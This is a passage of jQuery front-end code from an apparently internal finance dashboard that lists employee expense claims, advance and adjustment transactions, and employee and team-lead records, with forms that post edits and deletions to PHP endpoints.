                                                 <th data-toggle="Abbrevation_tooltip" title="ENGINEER FINAL AMOUNT">EFA</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="TL APPROVED FINAL AMOUNT">TFA</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="FINANCE APPROVED FINAL AMOUNT">FFA</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="TL DEDUCTED AMOUNT">TDA</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="FINANCE DEDUCTED AMOUNT">FDA</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="TL DEDUCTED REASON" style="width:15%">TL DEDUCTED REASON</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="FINANCE DEDUCTED REASON" style="width:15%">FINANCE DEDUCTED REASON</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="REJECTED REASON" style="width:15%">REJECTED REASON</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="TOTAL DEDUCTED AMOUNT">TDA</th>
                                            </tr>
                                        </thead>
                                        <tbody>
                                                ${tableBody ? tableBody:'<tr><td colspan="12"><h5>No Data found</h5></td></tr>'}
                                        </tbody>
                                    </table>`;
            $("#ReasonModalPopup .modal-body").html(reasonClaimsTableUI);

        }
        $("body #ReasonModalPopup .modal-body #decutedAmountClaimDetailsTable").DataTable({
                                                                                    destroy:true,
                                                                                    targets:'no-sorts',
                                                                                    order:[],
                                                                                    pageLength:10
                                                                                    
                                                                                    
            });
        function compareDeductAmount(fortNightTotalValueDeducted,ReasonClaimsTotalValueDeducted){
            let attributes;
            if(fortNightTotalValueDeducted!=ReasonClaimsTotalValueDeducted){
                attributes= `class="text-danger" data-toggle="Abbrevation_tooltip" title="Miss matched with fortnight value contact support team"`;
            }else{
               attributes=''; 
            }
            return attributes;
        }
        function getClaimStatusIcon(claimStatus){
            let iconUI;
            switch(claimStatus){
                case CLAIM_IN_EMP_BUCKET:
                    iconUI='<i class="fa fa-check-square text-secondary" data-toggle="tooltip" title="Claim in emp bucket"></i>';
                    break;
                case CLAIM_PENDING:
                     iconUI='<i class="fa fa-check-square text-warning" data-toggle="tooltip" title="Claim pending at TL"></i>';
                    break;
                case CLAIM_TL_APPROVED:
                     iconUI='<i class="fa fa-check-square text-primary" data-toggle="tooltip" title="TL Approved"></i>';
                    break;
                case CLAIM_TL_REJECTED:
                     iconUI='<i class="fa fa-check-square text-danger" data-toggle="tooltip" title="TL Reject"></i>';
                    break;
                case CLAIM_FINANCE_APPROVED:
                     iconUI='<i class="fa fa-check-square text-violate" data-toggle="tooltip" title="Finance Approved"></i>';
                    break;
                case CLAIM_FINANCE_REJECTED:
                     iconUI='<i class="fa fa-check-square text-danger" data-toggle="tooltip" title="Finance Rejected"></i>';
                    break;
                case CLAIM_PAID:
                     iconUI='<i class="fa fa-check-square text-success" data-toggle="tooltip" title="Finance Paid"></i>';
                    break;
                case CLAIM_PERMANENT_TL_REJECT:
                     iconUI='<i class="fa fa-times text-danger" data-toggle="tooltip" title="TL Permanent Reject"></i>';
                    break;
                case CLAIM_PERMANENT_FINANCE_REJECT:
                     iconUI='<i class="fa fa-times text-danger" data-toggle="tooltip" title="Finance Permanent Reject"></i>';
                    break;
                default:
                    iconUI="default55";
            }
            return iconUI;
        }
        
        
        
                
    function getAdvance_and_AdjustmentAmountReleasedStatement_Request(jsonIndex){
        let placeHolderClsobj=new Placeholder();
        let modalPopupBodyUI=placeHolderClsobj.advanceAndAdjustmentAmountReleasedStatementPlaceHolder();
        $("#commonModalPopup .modal-dialog").html(modalPopupBodyUI);
        let retryBtn=$("#commonModalPopup .modal-footer .retry_getAdvanceAndAdjustmentAmtStatement");
        let onErrorUI=()=>{
                $("#commonModalPopup .placeholder-glow").removeClass('placeholder-glow');
                retryBtn.attr("data-response-json-index",jsonIndex);
                retryBtn.show();
            };
        let jsonArray=CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS[jsonIndex];
        let obj={
                empId: jsonArray['EMP_ID'],
                fortNight:jsonArray['FORTNIGHT'],
            }
        let postJsonObj= JSON.stringify(obj);
            // console.log(postJsonObj);
        if(!checkWheatherLogoutOrNot_InternetConnection()){
            alertNoInternet_connection();
            onErrorUI();
        }else{
            let responseData=postDataHttpRequest('DashBoard/php/Advance_And_Adjustment_AmountStatement.php',postJsonObj);
                responseData.then((result)=>{
                    if(result.message="SUCCESS"){
                        ADVANCE_AND_ADJUSTMENTS_AMOUNT_TRANSACTION_DETAILS_RESPONSE_ARRAY=result.responseDataArray;
                        appendTransactionStmtDetailsToTableUI(result.responseDataArray, jsonArray['SUBMITION_STATUS']);
                        $("#commonModalPopup .modal-head td.empName").html(": "+jsonArray['NAME']);
                        $("#commonModalPopup .modal-head td.empId").html(": "+jsonArray['EMP_ID']);
                        $("#commonModalPopup .modal-head td.fortNight").html(": "+jsonArray['FORTNIGHT']);
                        retryBtn.hide();
                    }else{
                        onErrorUI();
                    }
                }).
                catch((error)=>{
                    onErrorUI();
                    console.log(error);
                })
                // .finally(()=>{
                // });
        }
    }
    
    function appendTransactionStmtDetailsToTableUI(responseJson, fortNgtSubmissionStatus){
        console.log(responseJson);
        let operationBtns=(createdBy, loopIndex)=>{
            let createdByEmpId=createdBy.split(",")[0]; // eg: [200403, Dattadripala]	
            // console.log("empid", createdByEmpId, "fortNgtSubmissionStatus",fortNgtSubmissionStatus,"USER_EMPID",USER_EMPID)	
            //fortNgtSubmissionStatus == "Finance Approved" || 
            if(fortNgtSubmissionStatus =="Paid" || createdByEmpId!=USER_EMPID  ){ // USER_EMPID  in index.php file   	
                return '--';	
            }else{   	
                return `<p class="mb-0"><i class="fas fa-edit editAdvanceAndAdjustmentAmountReleasedStmtBtn cursor-pointer" data-toggle="modal" data-target="#subCommonModalPopup"  data-index="${loopIndex}"></i> | 	
                        <i class="fas fa-trash deleteAdvanceAndAdjustmentAmountReleasedStmtBtn cursor-pointer" data-toggle="modal" data-target="#subCommonModalPopup" data-index="${loopIndex}"></i></p>`;	
            }	
        }
        if ($.fn.DataTable.isDataTable( '#commonModalPopup table.AdvanceAndAdjustmentAmountDetailsTable') ) {
            $('#commonModalPopup table.AdvanceAndAdjustmentAmountDetailsTable').DataTable().clear().destroy();
        }
        let tableBody=``;
        $.each(responseJson, function(index, object){
            object["uniqueIndex"]=index;            // updating object with uniqueIndex	
            tableBody+=`<tr class="db_tableIndex_${object['TransactionType']}_${object['ID']}">	
                            <td style="width:3%">${index+1}</td>
                            <td >${object['TransactionType']}</td>
                            <td class="empId" style="width:5%">${object['EmpId']}</td>	
                            <td class="fortNight" style="width:15%">${object['FortNight']}</td>	
                            <td class="transactionId" style="width:10%"><textarea class="form-control" rows="1" readonly style="font-size: 11px!important;">${object['TransactionId']}</textarea></td>	
                            <td class="transactionAmt" style="width:7%">${object['TransactionAmount']}</td>	
                            <td class="transactionDate" style="width:12%">${object['TransactionDate']}</td>	
                            <td class="createdBy" style="width:10%">${object['CreatedBy']}</td>	
                            <td class="createDate" style="width:12%">${object['CreatedDate']}</td>	
                            <td class="updateDate" style="width:12%">${object['UpdatedDate']}</td>	
                            <td class="remarks" style="width:8%"><textarea rows="1" class="form-control" readonly style="font-size: 11px!important;">${object['Remarks']}</textarea></td>	
                            <td style="width:10%">${operationBtns(object['CreatedBy'], index)}</td>	
                        </tr>`;	
                            //<td style="width:10%">${object['UPDATED_BY']}</td>	
        });
        //  console.log(responseJson);
        // $("#commonModalPopup .modal-body .AdvanceAndAdjustmentAmountDetailsTable tbody").html(tableBody);
        $("#commonModalPopup .AdvanceAndAdjustmentAmountDetailsTable tbody").html(tableBody);
        $("#commonModalPopup table.AdvanceAndAdjustmentAmountDetailsTable").DataTable({
                                                                            destroy:true,
                                                                            targets:'no-sorts',
                                                                            order:[],
                                                                            pageLength:10
            });
    }
    
 $("#commonModalPopup").on('click','i.editAdvanceAndAdjustmentAmountReleasedStmtBtn', function(){	
        let index = $(this).attr("data-index");	
        let transactionDetailsObj=ADVANCE_AND_ADJUSTMENTS_AMOUNT_TRANSACTION_DETAILS_RESPONSE_ARRAY.find((obj)=> obj["uniqueIndex"]==index); // object	
        let objectIndex=ADVANCE_AND_ADJUSTMENTS_AMOUNT_TRANSACTION_DETAILS_RESPONSE_ARRAY.findIndex((obj)=> obj["uniqueIndex"]==index); // index	
        console.log(transactionDetailsObj);	
        let modalPopupContent=`<div class="modal-content px-4">	
                                    <form id="updateAdvanceAndAdjustmentsAmountDetails_form" data-index="${objectIndex}">	
                                        <div class="modal-header">	
                                            <h5 class="m-0">Edit Transaction Details</h5>	
                                        </div>	
                                        <div class="modal-body">	
                                                <table>
                                                    <tr class="d-none">
                                                        <th>Id</th>
                                                        <td><input type="text" name="db_tableIndex" class="form-control" value="${transactionDetailsObj["ID"]}"/></td>
                                                        <th>Transaction type</th>
                                                        <td><input type="text" name="transactionType" value="${transactionDetailsObj["TransactionType"]}"/></td>
                                                    </tr>
                                                    <tr>
                                                        <th>Transaction Type</th>
                                                        <td>
                                                            <div class="d-flex align-items-center">
                                                                <span class="mr-2">:</span>
                                                                <input type="text" class="form-control" value="${transactionDetailsObj["TransactionType"]}" readonly/>
                                                            </div>
                                                        </td>
                                                    </tr>
                                                    <tr>	
                                                        <th>Transaction</th>	
                                                        <td>	
                                                            <div class="d-flex align-items-center">	
                                                                <span class="mr-2">:</span>	
                                                                <input type="text" name="transactionId" class="form-control" value="${transactionDetailsObj["TransactionId"]}" readonly/>	
                                                            </div>	
                                                        </td>	
                                                    </tr>	
                                                    <tr>	
                                                        <th>Transaction Date</th>	
                                                        <td>	
                                                            <div class="d-flex align-items-center">	
                                                                <span class="mr-2">:</span>	
                                                                <input type="date" name="transactionDate" class="form-control"  value="${transactionDetailsObj["TransactionDate"]}" readonly/>	
                                                            </div>    	
                                                        </td>	
                                                    </tr>	
                                                    <tr>	
                                                        <th>Transaction Amount</th>	
                                                        <td>	
                                                            <div class="d-flex align-items-center">	
                                                                <span class="mr-2">:</span>	
                                                                <input type="number" name="transactionAmount" class="form-control"  value="${transactionDetailsObj["TransactionAmount"]}" required/>	
                                                            </div>	
                                                        </td>	
                                                    </tr>	
                                                    <tr>	
                                                        <th>Remarks</th>	
                                                        <td>	
                                                            <div class="d-flex align-items-center">	
                                                                <span class="mr-2">:</span>	
                                                                <textarea class="form-control"  name="remarks" rows="1">${transactionDetailsObj["Remarks"]}</textarea>	
                                                            </div>	
                                                        </td>	
                                                    </tr>	
                                                </table>	
                                        </div>	
                                        <div class="modal-footer">	
                                            <p class="message mr-auto"></p>	
                                            <button type="submit" class="btn btn-theme-type1" style="width:22%">Update</button>	
                                            <button type="button" class="btn btn-theme-type3" data-dismiss="modal" style="width:22%">Close</button>	
                                        </div>	
                                    </form>	
                                </div>`;	
        $("#subCommonModalPopup .modal-dialog").html(modalPopupContent);	
    });	
    $("#commonModalPopup").on('click','i.deleteAdvanceAndAdjustmentAmountReleasedStmtBtn', function(){	
        let index = $(this).attr("data-index");	
        let transactionDetailsObj=ADVANCE_AND_ADJUSTMENTS_AMOUNT_TRANSACTION_DETAILS_RESPONSE_ARRAY.find((obj)=> obj["uniqueIndex"]==index);	
        let objectIndex=ADVANCE_AND_ADJUSTMENTS_AMOUNT_TRANSACTION_DETAILS_RESPONSE_ARRAY.findIndex((obj)=> obj["uniqueIndex"]==index);	
        let modalPopupContent=`<div class="modal-content px-4">	
                                    <form id="deleteAdvanceAndAdjustmentsAmountDetails_form" data-index="${objectIndex}">	
                                        <div class="modal-header">	
                                            <h5 class="m-0">Delete Transaction Details</h5>	
                                        </div>	
                                        <div class="modal-body">	
                                            <table>	
                                                <tr class="d-none">	
                                                    <th>Id</th>	
                                                    <td><input type="text" name="db_tableIndex" class="form-control" value="${transactionDetailsObj["ID"]}"/></td>
                                                    <th>Transaction type</th>
                                                    <td><input type="text" name="transactionType" value="${transactionDetailsObj["TransactionType"]}"/></td>
                                                    <th>Transaction Id</th>
                                                    <td><input type="text" name="transactionId" value="${transactionDetailsObj["TransactionId"]}" /></td>
                                                </tr>
                                                <tr>
                                                    <th>Transaction Type</th>
                                                    <td>: ${transactionDetailsObj["TransactionType"]}</td>
                                                </tr>
                                                <tr>	
                                                    <th>Transaction</th>	
                                                    <td>: ${transactionDetailsObj["TransactionId"]}</td>	
                                                </tr>	
                                                <tr>	
                                                    <th>Advance Amount</th>	
                                                    <td>: ${transactionDetailsObj["TransactionAmount"]}</td>	
                                                </tr>	
                                                <tr>	
                                                    <th>Advance Released Date</th>	
                                                    <td>: ${transactionDetailsObj["TransactionDate"]}</td>	
                                                </tr>	
                                            </table>	
                                        </div>	
                                        <div class="modal-footer">	
                                            <div class="w-100 d-flex align-items-center ">	
                                                <p class="message mr-auto mb-0">Are sure delete this details ?</p>	
                                                <button type="submit" class="btn btn-theme-type1" style="width:22%">Delete</button>	
                                                <button type="button" class="btn btn-theme-type3" data-dismiss="modal" style="width:22%">Close</button>	
                                            </div>	
                                        </div>	
                                    </form>	
                                </div>`;	
        $("#subCommonModalPopup .modal-dialog").html(modalPopupContent);	
    });	
    $("#subCommonModalPopup").on('submit','#updateAdvanceAndAdjustmentsAmountDetails_form', function(e){	
         e.preventDefault();	
         let form=$(this);	
         let indexValue= form.attr("data-index");	
         let submitBtn=$('#updateAdvanceAndAdjustmentsAmountDetails_form button[type="submit"]');	
         let obj=convertValuesToObject(form.serializeArray());	
         console.log("editTransactionDetailsObj",obj);
         let postContent=JSON.stringify(obj);	
         if(!checkWheatherLogoutOrNot_InternetConnection()){	
             alertNoInternet_connection();	
             submitBtn.html(`Retry <i class="fas fa-redo"></i>`);	
         }else{	
             submitBtn.html(`<i class="fas fa-spinner fa-spin"></i>`);	
             let responseData=postDataHttpRequest('DashBoard/php/tab_Dashboard_updateAdjustments_and_AdvanceAmountDetails.php', postContent);	
             responseData.then((result)=>{	
                 console.log(result);	
                 submitBtn.html(`Update`);	
                 if(result.error){	
                    $('#updateAdvanceAndAdjustmentsAmountDetails_form p.message').html(`<span class="text-danger">${result.message}</span>`);	
                 }else{
                     //update json	
                     let currentEditingStmt=ADVANCE_AND_ADJUSTMENTS_AMOUNT_TRANSACTION_DETAILS_RESPONSE_ARRAY[indexValue];	
                     currentEditingStmt.TransactionAmount=obj.transactionAmount;	
                     currentEditingStmt.Remarks=obj.remarks;	
                     	
                     //update ui	
                    $(`.AdvanceAndAdjustmentAmountDetailsTable tr.db_tableIndex_${obj.transactionType}_${obj.db_tableIndex} td.transactionAmt`).text(obj.transactionAmount);	
                    $(`.AdvanceAndAdjustmentAmountDetailsTable tr.db_tableIndex_${obj.transactionType}_${obj.db_tableIndex} td.remarks`).html(`<textarea rows="1" class="form-control" readonly  style="font-size: 11px!important;">${obj.remarks}</textarea>`);	
                    $('#updateAdvanceAndAdjustmentsAmountDetails_form p.message').html(`<span class="text-success">${result.message}</span>`); 	
                 }	
             })	
             .catch((error)=>{	
                 submitBtn.html(`Retry <i class="fas fa-redo"></i>`);	
                console.log(error);	
             })	
         }	
    });
    
    $("#subCommonModalPopup").on('submit','#deleteAdvanceAndAdjustmentsAmountDetails_form', function(e){	
    e.preventDefault();	
    let form=$(this);	
    let indexValue= form.attr("data-index"); 	
    let deleteBtn=$("#deleteAdvanceAndAdjustmentsAmountDetails_form button[type='submit']");	
    let obj =convertValuesToObject(form.serializeArray());	
    console.log("deleteTransactionId", obj);
    let postContent = JSON.stringify(obj);	
    if(!checkWheatherLogoutOrNot_InternetConnection()){	
        alertNoInternet_connection();	
        deleteBtn.html(`Retry <i class="fas fa-redo"></i>`);	
    }else{	
        deleteBtn.html(`<i class="fas fa-spinner fa-spin"></i>`);	
        let responsePromise = postDataHttpRequest('DashBoard/php/tab_Dashboard_deleteAdjustments_and_AdvanceAmountDetails.php', postContent);	
        responsePromise.then((result)=>{
            if(result.error){	
                deleteBtn.html(`Retry <i class="fas fa-redo"></i>`);	
            }else{	
                deleteBtn.hide();	
                $(`#deleteAdvanceAndAdjustmentsAmountDetails_form .message`).html(`<span class="text-success"> Succesfully deleted</span>`);	
                //update json	
                let noOfObjectsToDelete=1;	
                ADVANCE_AND_ADJUSTMENTS_AMOUNT_TRANSACTION_DETAILS_RESPONSE_ARRAY.splice(indexValue, noOfObjectsToDelete);	
                //update ui	
                $(`table.AdvanceAndAdjustmentAmountDetailsTable tbody tr.db_tableIndex_${obj.transactionType}_${obj.db_tableIndex}`).remove();	
            }	
            console.log(result);	
        })	
        .catch((error)=>{	
            deleteBtn.html(`Retry <i class="fas fa-redo"></i>`);	
            console.log(error);	
        });	
        	
    }	
 });
    
//-------------------------------------------end-----------------------------------------------------  




//-----------------------------------------EmployeeInfoTabContent newEmployee count-------------------------
    function appendNewEmployeeInfoTabContent(newEmployeeInfoJson){
        NEW_EMPLOYEE_INFO_JSON=newEmployeeInfoJson;
        
        let newEmpcount=Object.keys(newEmployeeInfoJson).length;
          if(newEmpcount>0){
                  $(".newEmpsNotificationNo").html(newEmpcount); 
             }else{
                 $(".notificationDiv").hide();
             }
    }
//-------------------------------end-----------------------------


//--------------------------------------EmployeeInfoTabContent All Employees Details---------------------
    function appendAllEmployeeInfoTabContent(employeesInfoJson){
        // console.log("employeesInfoJson",employeesInfoJson);
        EMPLOYEE_INFO_JSON=employeesInfoJson;
        let tableBodyUI="";
        $.each(employeesInfoJson, function(index, item){
            let daysCount=noOfDaysCompletedAfterInsertion(index);
            // console.log(daysCount);
            tableBodyUI+=`<tr class="rowIndex${index}">
                              <td class="rowDataSno">${index+1}</td>
                              <td class="rowDataEmpId">${item.EMP_ID}</td>
                              <td class="rowDataEmpName">${item.EMP_NAME}</td>
                              <td class="rowDataTlName">${item.TL_NAME}</td>
                              <td class="rowDataTlEmpId">${item.TL_EMP_ID}</td>
                              <td class="rowDataCircle">${item.CIRCLE}</td>
                              <td class="rowDataLeftOrg">${item.LEFT_FROM_ORGANIZATION}</td>`;
            if(item.LEFT_FROM_ORGANIZATION==EX_EMPLOYEE){// constant.js
                tableBodyUI+=`<td><span class="pl-3">--</span></td></tr>`;
            }else if(daysCount > LIMITED_DAYS_TO_MODIFY){ // constants.js
                tableBodyUI+=`<td><button class="editEmpInfoBtn btn bg-transparent py-0" data-json-loopindex="${index}" data-toggle="modal" data-target="#empInfoDetailsModalPopup" data-whatever="@mdo"><i class="fas fa-edit"></i></button></td></tr>`; 
            }else{
                tableBodyUI+=`<td><button class="modifyEmpInfoBtn btn btn-danger py-0" data-json-loopindex="${index}" data-toggle="modal" data-target="#newEmpInfoDetailsModalPopup"><span data-toggle="tooltip" title="Modify option will remains only ${LIMITED_DAYS_TO_MODIFY} days after inserting new employee">Modify</span></button></td></tr>`;
            }
        });
        $("#table_employeeInfoTabContent tbody").html(tableBodyUI);
        EMPLOYEEINFO_DATA_TABLE=$("#table_employeeInfoTabContent").DataTable({
                                                        destroy : true,
                                                        targets: 'no-sort',
                                                        order: [],
                                                        aLengthMenu: [[10,20,30,50,-1], [10,20,30,50,"All"]],
                                                        pageLength: 10,
                                                            
        });
            
            
        //---------On edit functionality----------------                                         
        $("#table_employeeInfoTabContent tbody").on('click','tr .editEmpInfoBtn',function(){
            $("#empInfoDetailsModalPopup .modal-footer .message").html('');
            CURRENT_EDITING_EMPINFO_ARRAYINDEX=$(this).attr("data-json-loopindex");
            let jsonArray=employeesInfoJson[CURRENT_EDITING_EMPINFO_ARRAYINDEX];
            let empCircleOptionTagUi=getTLBelongingCircles(jsonArray.TL_NAME+"_"+jsonArray.TL_EMP_ID);
            $("#empInfoModalPopupEmpCircle").html(empCircleOptionTagUi);
                
            $("#empInfoModalPopupEmpId").val(jsonArray.EMP_ID);
            $("#empInfoModalPopupEmpName").val(jsonArray.EMP_NAME);
            $("#empInfoModalPopupTLNameTLId").val(jsonArray.TL_NAME+"_"+jsonArray.TL_EMP_ID);
            $("#empInfoModalPopupEmpCircle").val(jsonArray.CIRCLE);
            $("#empInfoModalPopupEmpLeftOrg").val(jsonArray.LEFT_FROM_ORGANIZATION);
        });
        
        //---------On modify functionality----------------                   
        $("#table_employeeInfoTabContent tbody").on('click','tr .modifyEmpInfoBtn',function(){
            $("#newEmpInfoDetailsModalPopup .modal-footer .message").html('');
            $("#newEmpInfoDetailsModalPopupForm button[type='submit']")
                    .attr("data-btnType",MODIFY_TYPE_FORM_SUBMIT)
                    .html("Update")
                    .show();
            $("#newEmpInfoDetailsModalPopupForm .newEmpsNotificationNo").hide();
            let currentUndoBtn=$(this);
            CURRENT_MODIFYING_EMPINFO_ARRAYINDEX=$(this).attr("data-json-loopindex");
            // console.log(EMPLOYEE_INFO_JSON);
            // console.log(CURRENT_MODIFYING_EMPINFO_ARRAYINDEX);
            let jsonArray=EMPLOYEE_INFO_JSON[CURRENT_MODIFYING_EMPINFO_ARRAYINDEX];
            let empId=jsonArray.EMP_ID;
            let empName=jsonArray.EMP_NAME;
            let TLId=jsonArray.TL_EMP_ID;
            let TLName=jsonArray.TL_NAME; 
            let empCircle=jsonArray.CIRCLE;
            let empOptionTagUi=`<option value="" disabled  selected style="display:none;">Select Employee</option>
                                <option value="${empName}_${empId}">${empName}(${empId})</option>`;
            let empCircleTagUi=getTLBelongingCircles(`${TLName}_${TLId}`);
            $("#newEmpInfoModalPopupEmpSelectTag").html(empOptionTagUi);
            $("#newEmpInfoModalPopupEmpSelectTag").val(`${empName}_${empId}`);
            $("#newEmpInfoModalPopupTLSelectTag").val(TLName+"_"+TLId);
            $("#newEmpInfoModalPopupEmpCircleSelectTag").html(empCircleTagUi);
            $("#newEmpInfoModalPopupEmpCircleSelectTag").val(empCircle);
                    
        });
        
    }
//-------------------------------------------end---------------------------------------------
    
    function noOfDaysCompletedAfterInsertion(loopIndex){
        let lastUpdatedDate=EMPLOYEE_INFO_JSON[loopIndex]["CREATED_DATE"];
        let DateFormate=convertToShortDateFormate(new Date(lastUpdatedDate));
            lastUpdatedDate=new Date(DateFormate);
        let todayDate=new Date(convertToShortDateFormate(new Date()));
        let noOfDays=getNoOfDaysBetweenTwoDates(lastUpdatedDate, todayDate);
        
        return noOfDays;
            
            
    }
    
    function createTLListDropDown(){
        let TLOptionTagUi='<option value="" disabled selected style="display:none;">Select TL</option>';
        if(!checkWheatherLogoutOrNot_InternetConnection()){ // in checkInternet_connection.js
            alertNoInternet_connection();
            $(".retryTLDropDownRequest").show();
        }else{
            let responseData=getMethodHttpRequest(LOGIN_API_BASE_URL+"getAllTeamLead");
                responseData.then((result)=>{
                    let TLInfoArray=result.tlList;
                    $.each(TLInfoArray, function(index, item){
                        TLOptionTagUi+=`<option value="${item.tlname}_${item.tlid}">${item.tlname}(${item.tlid})</option>`;
                    });
                    $("#newEmpInfoModalPopupTLSelectTag").html(TLOptionTagUi);
                    $("#empInfoModalPopupTLNameTLId").html(TLOptionTagUi);
                    $(".retryTLDropDownRequest").hide();
                    
                })
                .catch((error)=>{
                    // formSubmitBtn.html("<i class='fas fa-redo'></i>");
                    console.log(error);
                     $(".retryTLDropDownRequest").show();
                })
                .finally(()=>{
                // console.log("response ended");
                });
        }
    }


    
    //-----------------------------------------------------empIfoTabcontent submitions----------------------------------------------
    // updtaeEmployee operation
     $("#empInfoDetailsModalPopupForm").submit(function(e){
            e.preventDefault();
            let form=$(this);
            $("#empInfoDetailsModalPopupForm button[type='submit']").html('<i class="fas fa-spinner fa-spin"></i>');
            $("#empInfoDetailsModalPopup .modal-footer .message").html("");
            let empId       =$("#empInfoModalPopupEmpId").val();
            let empName     =$("#empInfoModalPopupEmpName").val();
            let TLName_Id   =$("#empInfoModalPopupTLNameTLId").val();
                arrayOfNameAndId=splitString(TLName_Id,"_");
            let TLName      =arrayOfNameAndId[0];
            let TLId        =arrayOfNameAndId[1];
            let empCircle   =$("#empInfoModalPopupEmpCircle").val();
            let leftOrg     =$("#empInfoModalPopupEmpLeftOrg").val();
            let queryType   ='update';
            
            let contentObj={
                empName:empName,
                empId:empId,
                TLName:TLName,
                TLId:TLId,
                empCircle:empCircle,
                leftOrg:leftOrg,
                queryType:queryType
            }
            
            
            let postContent=JSON.stringify(contentObj);
            if(!checkWheatherLogoutOrNot_InternetConnection()){ // in checkInternet_connection.js
                alertNoInternet_connection();
                $("#empInfoDetailsModalPopupForm button[type='submit']").html('<i class="fas fa-redo"></i>');
            }else{
                let responseData=postDataHttpRequest('DashBoard/php/tab_EmpInfo_InsertUpdate_Finance.php',postContent);
                    responseData.then((result)=>{
                        // console.log("empInfoDetailsModalPopupForm",result);
                        if(result.message=="UPDATED"){
                             $("#empInfoDetailsModalPopupForm button[type='submit']").html('Update');
                            $("#empInfoDetailsModalPopup .modal-footer .message").html("Succesfully Updated");
                            $("#empInfoDetailsModalPopup .modal-footer .message").addClass("text-success");
                            $("#empInfoDetailsModalPopup .modal-footer .message").removeClass('text-danger');
                            onUpdate_updateJsonAndUIInEmployeeInfo(contentObj);
                        } 
                    })
                    .catch((error)=>{
                        
                        $("#empInfoDetailsModalPopup .modal-footer .message").html("Error");
                        $("#empInfoDetailsModalPopup .modal-footer .message").addClass("text-danger");
                        $("#empInfoDetailsModalPopupForm button[type='submit']").html('<i class="fas fa-redo"></i>');
                        console.log(error);
                    })
                    .finally(()=>{
                    console.log("response ended");
                    });
            }
            
        });
        
        function onUpdate_updateJsonAndUIInEmployeeInfo(contentObj){
            // $("rowDataEmpId").html(contentObj.empId);
            // $("rowDataEmpName").html(contentObj.empName);
            
            
            // console.log("EMPLOYEEINFO_DATA_TABLE",EMPLOYEEINFO_DATA_TABLE.row(CURRENT_EDITING_EMPINFO_ARRAYINDEX).data());
            EMPLOYEEINFO_DATA_TABLE.row(CURRENT_EDITING_EMPINFO_ARRAYINDEX).data([
                parseInt(CURRENT_EDITING_EMPINFO_ARRAYINDEX)+1,
                contentObj.empId,
                contentObj.empName,
                contentObj.TLName,
                contentObj.TLId,
                contentObj.empCircle,
                contentObj.leftOrg,
                `<button class="editEmpInfoBtn btn bg-transparent py-0" data-json-loopindex="${CURRENT_EDITING_EMPINFO_ARRAYINDEX}" data-toggle="modal" data-target="#empInfoDetailsModalPopup" data-whatever="@mdo"><i class="fas fa-edit"></i></button>`
            ]).draw();
            

            
            //updating json
            if(EMPLOYEE_INFO_JSON){
            let currentEmployeDetailsInJson=EMPLOYEE_INFO_JSON[CURRENT_EDITING_EMPINFO_ARRAYINDEX];
            
            currentEmployeDetailsInJson.TL_NAME=contentObj.TLName;
            currentEmployeDetailsInJson.TL_EMP_ID=contentObj.TLId;
            currentEmployeDetailsInJson.CIRCLE=contentObj.empCircle;
            currentEmployeDetailsInJson.LEFT_FROM_ORGANIZATION=contentObj.leftOrg;
            }else{
                console.log("EMPLOYEE_INFO_JSON have no data");
            }
        }
        
    // newEmployee insertion operation
     $("#newEmpInfoDetailsModalPopupForm").submit(function(e){
            e.preventDefault();
            let form=$(this);
            let formSubmiteType=$("#newEmpInfoDetailsModalPopupForm button[type='submit']").attr("data-btntype");
            $("#newEmpInfoDetailsModalPopupForm button[type='submit']").html('<i class="fas fa-spinner fa-spin"></i>');
            $("#newEmpInfoDetailsModalPopup .modal-footer .message").html("");
            let arrayOfNameAndId;
            let queryType="insert";
            let empName_empId=$("#newEmpInfoModalPopupEmpSelectTag").val();
                arrayOfNameAndId=splitString(empName_empId,"_");
            let empName=arrayOfNameAndId[0];
            let empId=arrayOfNameAndId[1];
            
            let TLName_Id=$("#newEmpInfoModalPopupTLSelectTag").val();
                arrayOfNameAndId=splitString(TLName_Id,"_");
            let TLName=arrayOfNameAndId[0];
            let TLId=arrayOfNameAndId[1];
            
            let empCircle=$("#newEmpInfoModalPopupEmpCircleSelectTag").val();
            
            let contentObj={
                empName:empName,
                empId:empId,
                TLName:TLName,
                TLId:TLId,
                empCircle:empCircle,
                leftOrg:"No",
                queryType:queryType
            }
            if(!checkWheatherLogoutOrNot_InternetConnection()){
                 alertNoInternet_connection();
                 $("#newEmpInfoDetailsModalPopupForm button[type='submit']").html('<i class="fas fa-redo"></i>');
            }else{            
                let postContent=JSON.stringify(contentObj);
                let responseData=postDataHttpRequest('DashBoard/php/tab_EmpInfo_InsertUpdate_Finance.php',postContent);
                    responseData.then((result)=>{
                        // console.log("newEmpInfoDetailsModalPopupForm",result);
                        if(result.message=="INSERTED"){
                            $("#newEmpInfoDetailsModalPopup .modal-footer .message").addClass("text-success");
                            $("#newEmpInfoDetailsModalPopup .modal-footer .message").removeClass('text-danger');// if first time  got error 2time success no red-color
                            if(formSubmiteType==INSERT_TYPE_FORM_SUBMIT){
                                $("#newEmpInfoDetailsModalPopup .modal-footer .message").html("Succesfully Inserted");
                                onInsert_updateJsonAndUIInEmployeeInfo(contentObj);
                                EMPLOYEEINFO_DATA_TABLE.order( [ 0, 'desc' ] ).draw();// sort desc modify get first
                                 $("#newEmpInfoDetailsModalPopupForm button[type='submit']").html('Insert');
                            }else if(formSubmiteType==MODIFY_TYPE_FORM_SUBMIT){
                                onModify_updateJsonAndUIInEmployeeInfo(contentObj);
                                $("#newEmpInfoDetailsModalPopup .modal-footer .message").html("Succesfully Modified");
                                $("#newEmpInfoDetailsModalPopupForm button[type='submit']").html('Update');
                            }
                            
                        } 
                    })
                    .catch((error)=>{
                        
                        $("#newEmpInfoDetailsModalPopup .modal-footer .message").html("Error");
                         $("#newEmpInfoDetailsModalPopup .modal-footer .message").addClass("text-danger");
                        // formSubmitBtn.html("<i class='fas fa-redo'></i>");
                        console.log(error);
                    })
                    .finally(()=>{
                    console.log("response ended");
                    });
            }
        });
        

        
        function onInsert_updateJsonAndUIInEmployeeInfo(contentObj){
            
            let empName_empId=contentObj.empName+"_"+contentObj.empId;
            //update json
            
                //---- employee info json
                let newEmployeeDetailsObj={
                    EMP_ID:contentObj.empId,
                    EMP_NAME:contentObj.empName,
